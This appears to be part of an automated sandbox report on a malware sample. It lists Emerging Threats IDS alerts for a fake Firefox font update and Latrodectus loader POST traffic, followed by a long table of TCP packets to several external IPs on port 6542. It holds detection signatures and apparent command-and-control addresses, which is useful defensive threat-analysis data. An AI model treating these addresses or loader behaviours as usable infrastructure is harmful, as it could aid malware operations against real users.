2024-12-02T18:46:39.600997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50031	104.21.68.89	443	TCP
2024-12-02T18:46:41.249251+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50031	104.21.68.89	443	TCP
2024-12-02T18:46:42.597580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50032	104.21.68.89	443	TCP
2024-12-02T18:46:44.202517+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50032	104.21.68.89	443	TCP
2024-12-02T18:46:45.533585+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50033	104.21.68.89	443	TCP
2024-12-02T18:46:47.148498+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50033	104.21.68.89	443	TCP
2024-12-02T18:46:48.435187+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50034	104.21.68.89	443	TCP
2024-12-02T18:46:50.020040+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50034	104.21.68.89	443	TCP
2024-12-02T18:46:51.390038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50035	104.21.68.89	443	TCP
2024-12-02T18:46:53.129087+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50035	104.21.68.89	443	TCP
2024-12-02T18:46:54.473438+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50036	104.21.68.89	443	TCP
2024-12-02T18:46:56.061048+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50036	104.21.68.89	443	TCP
2024-12-02T18:46:57.693588+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50037	104.21.68.89	443	TCP
2024-12-02T18:46:59.093190+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50037	104.21.68.89	443	TCP
2024-12-02T18:47:00.613180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50038	104.21.68.89	443	TCP
2024-12-02T18:47:02.283970+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50038	104.21.68.89	443	TCP
2024-12-02T18:47:03.676153+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50039	104.21.68.89	443	TCP
2024-12-02T18:47:05.405551+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50039	104.21.68.89	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 18:43:00.173721075 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.176590919 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.293896914 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:00.294043064 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.296806097 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:00.296892881 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.304183960 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.305382967 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:00.426369905 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:00.427521944 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.807455063 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.807568073 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:01.807655096 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.807661057 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.807720900 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:01.847853899 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.847956896 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.847964048 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:01.848093033 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.090888977 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.107731104 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.211726904 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.227818012 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.621541023 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.621593952 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.639571905 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.640527964 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.640580893 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.653573036 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.759543896 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.773622036 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.875967979 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:02.996100903 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:02.996227980 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:03.004276037 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:03.124264956 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:13.837815046 CET	6542	49705	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:13.837937117 CET	49705	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:13.854476929 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:13.854553938 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:13.854559898 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:13.854587078 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:13.854656935 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:13.871364117 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:13.992273092 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:14.498846054 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:14.620475054 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:14.620646000 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:14.621121883 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:14.748619080 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:15.912923098 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:15.912976027 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:15.913091898 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:15.913105011 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:15.913131952 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:15.913147926 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:15.921541929 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:16.041428089 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:16.321329117 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:16.323635101 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:16.339838982 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:16.459886074 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949295044 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949369907 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.949417114 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949428082 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949459076 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.949475050 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.949733019 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949773073 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.949965954 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.949981928 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.950009108 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.950020075 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.958296061 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.958374023 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.958409071 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.958455086 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.964668989 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.964730024 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.964831114 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.964873075 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.973592997 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.973654032 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.973861933 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.973906040 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.982605934 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.982666016 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:21.982753038 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:21.982795954 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.069494009 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.069608927 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.069663048 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.069708109 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.073884964 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.073950052 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.150517941 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.150568962 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.150590897 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.150628090 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.154239893 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.154288054 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.156219006 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.156261921 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.156531096 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.156570911 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.163280010 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.163330078 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.163564920 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.163602114 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.171442986 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.171494007 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.171530962 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.171576023 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.178734064 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.178785086 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.178872108 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.178910017 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.186304092 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.186348915 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.186517954 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.186573029 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.193945885 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.193995953 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.194093943 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.194145918 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.201699018 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.201744080 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.201886892 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.201930046 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.209481955 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.209608078 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.209616899 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.209666014 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.214993000 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.215040922 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.215121031 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.215163946 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.220644951 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.220705032 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.220803976 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.220896959 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.226349115 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.226396084 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.226438046 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.226490974 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.230001926 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.230071068 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.230226994 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.230279922 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.235507011 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.235610008 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.235658884 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.235765934 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.241329908 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.241466045 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.351680994 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.351736069 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.351838112 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.351888895 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.353792906 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.353847027 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.353873968 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.353919983 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.358066082 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.358146906 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.359534025 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.359664917 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.359719038 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.359734058 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.363795042 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.363863945 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.363935947 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.363986969 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.367970943 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.368048906 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.368058920 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.368104935 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.372019053 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.372070074 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.372127056 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.372209072 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.376266956 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.376367092 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.376436949 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.376504898 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.380589008 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.380656004 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.380892992 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.380955935 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.384334087 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.384381056 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.384545088 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.384594917 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.388394117 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.388446093 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.388540030 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.388603926 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.393105984 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.393151999 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.393254995 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.393306971 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.396646023 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.396706104 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.396743059 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.396802902 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.400811911 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.400866032 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.400943041 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.401020050 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.404866934 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.404943943 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.404978037 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.405024052 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.408859015 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.408910036 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.408993006 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.409152985 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.412981033 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.413047075 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.413125992 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.413203955 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.417294025 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.417332888 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.417361975 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.417391062 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.421248913 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.421314001 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.421375036 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.421420097 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.425324917 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.425379992 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.425477028 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.425523043 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.430362940 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.430370092 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.430434942 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.433732986 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.433799028 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.433918953 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.433964014 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.437783957 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.437855005 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.437942982 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.437984943 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.441962004 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.442018032 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.442133904 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.442182064 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.446177959 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.446234941 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.446326017 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.446496010 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.449927092 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.450018883 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.450040102 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.450097084 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.453984022 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.454056025 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.554292917 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.554301977 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.554404974 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.554883957 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.554945946 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.555520058 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.555579901 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.555660009 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.555743933 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.559288025 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.559350967 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.559436083 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.559497118 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.563201904 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.563257933 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.563359022 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.563422918 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.567177057 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.567230940 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.567770004 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.567826033 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.571060896 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.571109056 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.571285963 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.571330070 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.574943066 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.574992895 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.575086117 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.575158119 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.580163956 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.580171108 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.580220938 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.582942009 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.582950115 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.583005905 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.586889982 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.586981058 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.587310076 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.587368011 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.590744019 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.590791941 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.591001987 CET	6542	49713	94.232.43.224	192.168.2.5
